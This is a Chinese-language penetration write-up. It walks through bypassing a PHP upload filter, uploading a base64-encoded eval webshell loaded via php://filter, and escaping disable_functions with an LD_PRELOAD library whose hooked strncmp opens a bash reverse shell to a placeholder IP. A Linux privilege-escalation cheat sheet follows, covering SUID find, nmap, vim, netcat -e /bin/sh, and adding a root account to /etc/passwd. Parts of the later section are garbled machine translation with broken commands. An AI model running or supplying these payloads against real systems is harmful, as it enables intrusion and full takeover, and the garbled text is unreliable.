实景分析
免杀
对于这个情况,我们现在只知道仅许传PHP文件。直接试试webshell.php
传一句话木马,结果不出意料的失败了,又试了几个木马的变形,发现都无济于事,像无头苍蝇一样乱撞。只传入phpinfo()
看看有什么收获
发现一大堆disable_functions
,基本上所有的恶意函数全部都被过滤,接下来试试用拼接绕过的办法读取/etc/passwd
Linux 系统中的 /etc/passwd 文件,是系统用户配置文件,存储了系统中所有用户的基本信息,并且所有用户都可以对此文件执行读操作。
这里我们用最常用的file_get_contents() 函数
来读取文件
<?php
echo ("fil"."e_get_c"."ontents")("/var/www/html/index.php");
?>
成功读取。 那么根据Web服务器的默认根文件夹/var/www/html
,可以尝试读取网站源码(这里尝试index.php
)这里找到了方向和目录
然后尝试上传改良代码
<?php
echo ("fil"."e_get_c"."ontents")
("/var/www/html/index.php");
?>
之后查看源码
<?php
function fun($var): bool{
$blacklist = ["\$_", "eval","copy" ,"assert","usort","include", "require", "$", "^", "~", "-", "%", "*","file","fopen","fwriter","fput","copy","curl","fread","fget","function_exists","dl","putenv","system","exec","shell_exec","passthru","proc_open","proc_close", "proc_get_status","checkdnsrr","getmxrr","getservbyname","getservbyport", "syslog","popen","show_source","highlight_file","`","chmod"];
foreach($blacklist as $blackword){
if(strstr($var, $blackword)) return True;
}
return False;
}
error_reporting(0);
//设置上传目录
define("UPLOAD_PATH", "./uploads");
$msg = "Upload Success!";
if (isset($_POST['submit'])) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_name = $_FILES['upload_file']['name'];
$ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(!preg_match("/php/i", strtolower($ext))){
die("只要好看的php");
}
$content = file_get_contents($temp_file);
if(fun($content)){
die("诶,被我发现了吧");
}
$new_file_name = md5($file_name).".".$ext;
$img_path = UPLOAD_PATH . '/' . $new_file_name;
if (move_uploaded_file($temp_file, $img_path)){
$is_upload = true;
} else {
$msg = 'Upload Failed!';
die();
}
echo '<div style="color:#F00">'.$msg." Look here~ ".$img_path."</div>";
}
对源码进行分析,发现黑名单过滤了功能构造函数,重点来了,这里我们就需要对这些函数来进行伪装,绕过我们的第一道门(在这里面我们并没有发现过滤base64)
于是先上传了webshell的base64编码php文件——a.php
。
<?php @eval($_POST[1]); ?>//不要忘记在php关键字后加空格!!!
base64编码绕过——>
PD9waHAgQGV2YWwoJF9QT1NUWzFdKTsgPz4=
但反引号
被ban,也不知道如何把代码读取出来然后解码,也断绝了我用base64解码后再执行的想法。使用php伪协议,了解到php://filter
+convert.base64-decode过滤器
能解决问题。
php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行
于是在随便找了一个base64加解密网页之后我们升级一下手中的武器配置
php://filter/convert.base64-decode/resource=39ab6b7b4e9946f4fef4d99ee6be3446.php
//php文件是刚刚上传的a.php
base64编码绕过——>
cGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWRlY29kZS9yZXNvdXJjZT0zOWFiNmI3YjRlOTk0NmY0ZmVmNGQ5OWVlNmJlMzQ0Ni5waHA=
只需要用上述代码将上传的a.php
代码读取出来然后再用包含函数include结合即可,因此再上传b.php
(php函数名不区分大小写,可利用此点绕过)
<?php Include(base64_decode("cGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWRlY29kZS9yZXNvdXJjZT0zOWFiNmI3YjRlOTk0NmY0ZmVmNGQ5OWVlNmJlMzQ0Ni5waHA="));?>
然后呢,我们确实是把我们的武器给传送上去了,等我们打开亲爱的中国蚁剑,惊喜的发现,黑名单禁用了所有我们能用到的功能函数,这这里不得不引入一个新的知识LD_PRELOAD
LD_PRELOAD
顾名思义,这个就是提前加载,怎么个提前加载昵,就是说我们的linux在执行命令之前会先加载一个叫做动态链接库的东西,如果我们此时可以把这个库抢了为己所用,那么问题是不是就迎刃而解了呢?这里便需要我们去深入了解一下动态链接库,毕竟知己知彼,才能百战不殆
听了这么多俗语来看看官方的解释
0x01 前置知识
LD_PRELOAD
LD_PRELOAD
是Linux/Unix
系统的一个环境变量,它影响程序的运行时的链接(Runtime linker),它允许在程序运行前定义优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。
通过上述对 LD_PRELOAD 的功能的描述,我们可以想到,既然能够覆盖正常的函数库,那么我们是不是就可以利用这里的功能来向程序中注入我们想要实现的代码或者说程序,来实现我们的目的呢?
这也就是我们的 LD_PRELOAD 在攻防中的功能。
程序的链接
程序的链接可以分为以下三种
-
静态链接:在程序运行之前先将各个目标模块以及所需要的库函数链接成一个完整的可执行程序,之后不再拆开。
-
装入时动态链接:源程序编译后所得到的一组目标模块,在装入内存时,边装入边链接。
-
运行时动态链接:原程序编译后得到的目标模块,在程序执行过程中需要用到时才对它进行链接。
静态链接库,在Linux下文件名后缀为.a
,如libstdc++.a
。在编译链接时直接将目标代码加入可执行程序。
动态链接库,在Linux下是.so
文件,在编译链接时只需要记录需要链接的号,运行程序时才会进行真正的“链接”,所以称为“动态链接”。如果同一台机器上有多个服务使用同一个动态链接库,则只需要加载一份到内存中共享。因此, 动态链接库也称共享库 或者共享对象。
Linux规定动态链接库的文件名规则比如如下:
libname.so.x.y.z
-
lib
:统一前缀。 -
so
:统一后缀。 -
name
:库名,如libstdc++.so.6.0.21的name就是stdc++。 -
x
: 主版本号 。表示库有重大升级,不同主版本号的库之间是不兼容的。如libstdc++.so.6.0.21的主版本号是6。 -
y
: 次版本号 。表示库的增量升级,如增加一些新的接口。在主版本号相同的情况下, 高的次版本号向后兼容低的次版本号 。如libstdc++.so.6.0.21的次版本号是0。 -
z
: 发布版本号 。表示库的优化、bugfix等。相同的主次版本号,不同的发布版本号的库之间 完全兼容 。如libstdc++.so.6.0.21的发布版本号是21。
动态链接库的 搜索路径搜索的先后顺序
-
编译目标代码时指定的动态库搜索路径(可指定多个搜索路径,按照先后顺序依次搜索);
-
环境变量
LD_LIBRARY_PATH
指定的动态库搜索路径(可指定多个搜索路径,按照先后顺序依次搜索); -
配置文件
/etc/ld.so.conf
中指定的动态库搜索路径(可指定多个搜索路径,按照先后顺序依次搜索); -
默认的动态库搜索路径
/lib
; -
默认的动态库搜索路径
/usr/lib
;
不过可以发现,这里我们要利用的环境变量 LD_PRELOAD 并没有出现在这里的搜索路径之中,反而出现了一个 LD_LIBRARY_PATH,这里关于二者之间的关系和区别在 stackoverflow 上也有大佬讨论,观点也很多,不过在这里我比较认可的是下面这个观点
LD_PRELOAD
(notLD_PRELOAD_PATH
) 是要在任何其他库之前加载的特定库 ( files ) 的列表,无论程序是否需要。LD_LIBRARY_PATH
是在加载无论如何都会加载的库时要搜索的 目录列表。 在 linux 上,您可以阅读man ld.so
有关这些和其他影响动态链接器的环境变量的更多信息。
可见,这里 LD_PRELOAD 甚至超脱于动态链接库的搜索路径先后顺序之外,它可以指定在程序运行前优先加载的动态链接库
0x02 利用
在我的理解中,LD_PRELOAD 实际上也是一种代码注入,知识注入的方式和普遍的 Web 端注入的方式不同。
demo
我们重写程序运行过程中所调用的函数并将其编译为动态链接库文件,然后通过我们对环境变量的控制来让程序优先加载这里的恶意的动态链接库,进而实现我们在动态链接库中所写的恶意函数。
具体的操作步骤如下:
-
定义一个函数,函数的名称、变量及变量类型、返回值及返回值类型都要与要替换的函数完全一致。这就要求我们在写动态链接库之前要先去翻看一下对应手册等。
-
将所写的 c 文件编译为动态链接库。
-
对 LD_PRELOAD 及逆行设置,值为库文件路径,接下来就可以实现对目标函数原功能的劫持了
-
结束攻击,使用命令 unset LD_PRELOAD 即可
到底该如何劫持昵,我会放到文章末尾的补充里
反弹shell
回到我们之前的webshell,我们这这里选择直接用蚁剑来加载LD_PRELOAD,反弹shell
这里我们主要的思路是在创建一个新的进程,这里牵扯到了php的函数特性
提权
find /bin -perm -u=s -type f 2>/dev/null
find /usr -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
补充
动态链接库的劫持
原理
Unix操作系统中,程序运行时会按照一定的规则顺序去查找依赖的动态链接库,当查找到指定的so文件时,动态链接器(/lib/ld-linux.so.X)会将程序所依赖的共享对象进行装载和初始化,而为什么可以使用so文件进行函数的劫持呢?
这与LINUX的特性有关,先加载的so中的全局符号会屏蔽掉后载入的符号,也就是说如果程序先后加载了两个so文件,两个so文件定义了同名函数,程序中调用该函数时,会调用先加载的so中的函数,后加载的将会屏蔽掉;所以要实现劫持,必须要抢得先机,
环境变量LD_PRELOAD以及配置文件/etc/ld.so.preload就可以让我们取得这种先机,它们可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库,我们只要在通过LD_PRELOAD加载的.so中编写我们需要hook的同名函数,即可实现劫持!从下图中我们使用strace可以看到,优先加载了LD_PRELOAD指明的.so
过程
我们从一个简单的c程序(sample.c)开始
下面的代码标准调用fopen函数,并检查返回值
#include <stdio.h>
int main(void) {
printf("Calling the fopen() function...\n");
FILE *fd = fopen("test.txt","r");
if (!fd) {
printf("fopen() returned NULL\n");
return 1;
}
printf("fopen() succeeded\n");
return 0;
}
编译并执行
$ gcc -o sample sample.c
$ ./sample
Calling the fopen() function...
fopen() returned NULL
$ touch test.txt
$ ./sample
Calling the fopen() function...
fopen() succeeded
然后编写我们自己的so动态库
#include <stdio.h>
FILE *fopen(const char *path, const char *mode) {
printf("This is my fopen!\n");
return NULL;
}
编译成.so
gcc -Wall -fPIC -shared -o myfopen.so myfopen.c
设置环境变量后执行sample程序,我们可以看到成功劫持了fopen函数,并返回了NULL
$ LD_PRELOAD=./myfopen.so ./sample
Calling the fopen() function...
This is my fopen!
fopen() returned NULL
当然 ,使fopen始终返回null是不明智的,我们应该在假的fopen函数中还原真正fopen的行为,看下面代码
这回轮到 dlfcn.h 出场,来对动态库进行显式调用,使用dlsym函数从c标准库中调用原始的fopen函数,并保存原始函数的地址以便最后返回 恢复现场
#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>
FILE *fopen(const char *path, const char *mode) {
printf("In our own fopen, opening %s\n", path);
FILE *(*original_fopen)(const char*, const char*);
original_fopen = dlsym(RTLD_NEXT, "fopen");
return (*original_fopen)(path, mode);
}
Tips: 如果dlsym或dlvsym函数的第一个参数的值被设置为RTLD_NEXT,那么该函数返回下一个共享对象中名为NAME的符号(函数)的运行时地址。 下一个共享对象是哪个,依赖于共享库被加载的顺序。dlsym查找共享库顺序如下: ①环境变量LD_LIBRARY_PATH列出的用分号间隔的所有目录。 ②文件/etc/ld.so.cache中找到的库的列表,由ldconfig命令刷新。 ③目录编译: usr/lib。 ④目录/lib。 ⑤当前目录。
编译:
gcc -Wall -fPIC -shared -o myfopen.so myfopen.c -ldl
执行:调用原始函数,劫持成功!
$ LD_PRELOAD=./myfopen.so ./sample
Calling the fopen() function...
In our own fopen, opening test.txt
fopen() succeeded
反弹shell
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("bash -c 'bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/2333 0>&1'");
}
int strncmp(const char *__s1, const char *__s2, size_t __n) { // 这里函数的定义可以根据报错信息进行确定
if (getenv("LD_PRELOAD") == NULL) {
return 0;
}
unsetenv("LD_PRELOAD");
payload();
}
提权姿势
提权思路
Linux提权,前提是拿到了一个低权限的账号,能上传和下载文件,主要思路有:
1、内核提权。网上各种大佬的payload很多,关键在于要能找到利用哪个exp以及具体如何利用。省力点的方法是用searchsploit或者linux-exploit-suggester.sh来查找,熟悉之后难度也不大。
2、suid提权。这里也包含了sudo这种方式,两种方法的思路都是一样的,区别在于suid针对单个程序,sudo针对某个用户。这类提权方式的主要思路是:管理员授权普通用户去执行 root 权限的操作,而不需要知道 root 的密码,合理的利用拥有root权限的程序,就可以实现提权。通常遇到的情况有:
(1)直接提权,sudo -i 就可以切换到root了;
(2)修改系统文件,如计划任务文件、用户文件、密码文件、sudoers文件等,本文把这个作为彩蛋后续也讲一下;
(3)修改程序本身,如果对程序有写权限的话,直接把反弹的bash命令写到程序里,运行程序即可提权;
(4)对程序进行溢出,部分程序通过端口可以实现和用户的交互,这也就存在可以溢出的前提。
总的来说,suid提权难度没有上限和下限,简单的直接一个sudo -i命令,难的涉及到溢出,相当于在挖0day。
3、第三方应用提权,某些程序使用root权限启动,如果第三方服务或者程序存在漏洞或者配置问题,可以被利用来获得root权限。相比前几种方式,难度属于中间,不像内核提权套路很固定,也不像suid提权方法很灵活多样。
/etc/sudoers 语法
根全部=(全部)全部
root用户可以从ALL(任何)终端执行,充当ALL(任何)用户,并运行ALL(任何)命令。第一部分指定用户,第二部分指定可充当用户,第三部分指定可运行的命令sudo
。
touhid ALL = /sbin/poweroff
输入 touchid 的密码,可以 sudo 执行 poweroff 命令。
touhid ALL = (root) NOPASSWD: /usr/ bin/find
不输入密码,可以 sudo 执行 find 命令
查找具有SUID权限的文件
以下命令可以找到正在系统上运行的所有SUID执行文件。准确的说,这个命令命令/目录中查找具有SUID权限位且属主为主为root的文件并输出它们,然后将所有错误重定向到/ dev/null,从而仅启动该用户具有访问权限的那些二进制文件。
find / -user root -perm -4000 - print 2>/dev/ null
find / -perm -u =s -type f 2>/dev/ null
find / -user root -perm -4000 -exec ls -ldb {} ;
也可以使用sudo -l
命令启动当前用户执行的命令
常用提权方式
nmap
nmap(2.02-5.21)存在交换模式,可利用提权
nmap——交互式
之后执行:
nmap>!sh
sh-3.2# whoami
根
msf中的模块为:
利用/unix/本地/setuid_nmap
较新版本可使用--script
参数:
echo "os.execute('/bin/sh')" > /tmp/ shell .nse && sudo nmap --script=/tmp/ shell .nse
kali nmap 7.7 提权成功:
查找
触摸测试
查找测试- exec whoami \;
nc 反弹壳:
找到测试- exec netcat -lvp 5555 -e /bin/sh \;
vi/vim
打开vim,按ESC
:set shell =/bin/sh
: shell
或者
sudo vim -c ' ! sh '
bash
bash -p
bash-3.2# id
uid =1002(服务) gid =1002(服务) euid =0(root) groups =1002(服务)
少
少/etc/ passwd
!/bin/ sh
更多
更多/home/ pelle/myfile
!/bin/ bash
cp
覆盖/etc/shadow
或/etc/passwd
[ zabbix@ localhost ~]$ cat /etc/passwd >passwd
2. [ zabbix@ localhost ~]$ openssl passwd -1 -salt hack hack123
3. $ 1 $hack$WTn0dk2QjNeKfl.DHOUue0
4. [ zabbix@ localhost ~]$ echo 'hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash' >> passwd
5. [ zabbix@ localhost ~]$ cp passwd /etc/passwd
6. [ zabbix@ localhost ~]$ su - hack
7.密码:
8. [ root@ 361 way ~]# id
9. uid= 0 (hack) gid=0 (root) groups= 0 (root)
10. [ root@ 361 way ~]# cat /etc/passwd|tail -1
11. hack:$ 1 $hack$WTn0dk2QjNeKfl.DHOUue0: 0 : 0 ::/root/ :/bin/bash